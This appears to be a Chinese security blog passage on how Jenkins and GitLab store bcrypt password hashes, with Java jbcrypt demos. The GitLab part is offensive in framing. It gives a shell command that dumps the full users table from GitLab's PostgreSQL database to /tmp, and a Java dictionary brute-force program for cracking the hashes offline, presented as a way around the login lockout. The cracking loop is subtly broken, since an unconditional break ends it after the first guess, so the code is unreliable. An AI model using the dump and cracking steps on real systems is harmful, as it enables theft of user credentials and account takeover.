Jenkins 用户密码加密

$JENKINS_HOME/users/users.xml

<entry>
     <string>admin</string>
     <string>admin_6666666666666666</string>
</entry>

$JENKINS_HOME/admin_6666666666666666/config.xml
passwordHash 节点可以看到用户密码加密后的密文哈希值：

    <hudson.security.HudsonPrivateSecurityRealm_-Details>
      <passwordHash>#jbcrypt:$2a$10$3fcowsyU5CsgeUywbAjZkuXlN4NVdfLu9bYxNx5RvJ9.9CyOzatDu</passwordHash>
    </hudson.security.HudsonPrivateSecurityRealm_-Details>

其加密采用jbcrypt完成，jbcrypt 是 bcrypt 加密工具的 java 实现。

package com.test.jenkins;
import org.mindrot.jbcrypt.BCrypt;

public class Jenkins {

    public static void main(String[] args)
    {
        //加密
        String hashed = BCrypt.hashpw("123456", BCrypt.gensalt());
        System.out.println(hashed);

        //解密
        if (BCrypt.checkpw("111111", hashed))
            System.out.println("密码正确");
        else
            System.out.println("密码错误");
    }
}

<!-- https://mvnrepository.com/artifact/org.mindrot/jbcrypt -->
<dependency>
    <groupId>org.mindrot</groupId>
    <artifactId>jbcrypt</artifactId>
    <version>0.4</version>
</dependency>

• 用 jbcrypt 对同一个明文加密后因为 salt 一般不同，加密后的密文一般不同，且bcrypt 是不可逆的加密算法，无法通过解密密文得到明文。
• bcrypt 和其他对称或非对称加密方式不同的是，不是直接解密得到明文，也不是二次加密比较密文，而是把明文和存储的密文一块运算得到另一个密文，如果这两个密文相同则验证成功。

Gitlab 用户密码解密

在《Gitlab 本地db_dump》章节我们已经提到过如何快速脱裤了：
sudo -i -u gitlab-psql bash -c "echo 'select * from users;' |psql -h /var/opt/gitlab/postgresql -d gitlabhq_production > /tmp/user_dump.txt"
Gitlab用户加密同样采用了BCrypt作为加密策略，BCrypt虽然无法逆向解密，但我们依然可以按照它的密码验证逻辑来进行本地字典爆破，Gitlab前端存在一个密码错误十次账户锁定的防爆破机制。

package com.test.gitlab;

import org.mindrot.jbcrypt.BCrypt;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.List;

public class Gitlab {

    public static void main(String[] args) {
        //密文
        String hashed = "$2a$10$3fcowsyU5CsgeUywbAjZkuXlN4NVdfLu9bYxNx5RvJ9.9CyOzatDu";
        //字典
        List<String> pass = readTxt("src/main/java/com/test/gitlab/100.txt");

        assert pass != null;
        for (Object o : pass) {
            if (BCrypt.checkpw((String) o, hashed))
                System.out.println("爆破成功，密码为:" + o);
            break;
        }

    }

    //读取TXT返回列表形式
    public static List<String> readTxt(String filePath) {
        List<String> fileList = new ArrayList<>();
        try {
            fileList = Files.readAllLines(Paths.get(filePath));
        } catch (IOException e) {
            e.printStackTrace();
        }
        return fileList;
    }
}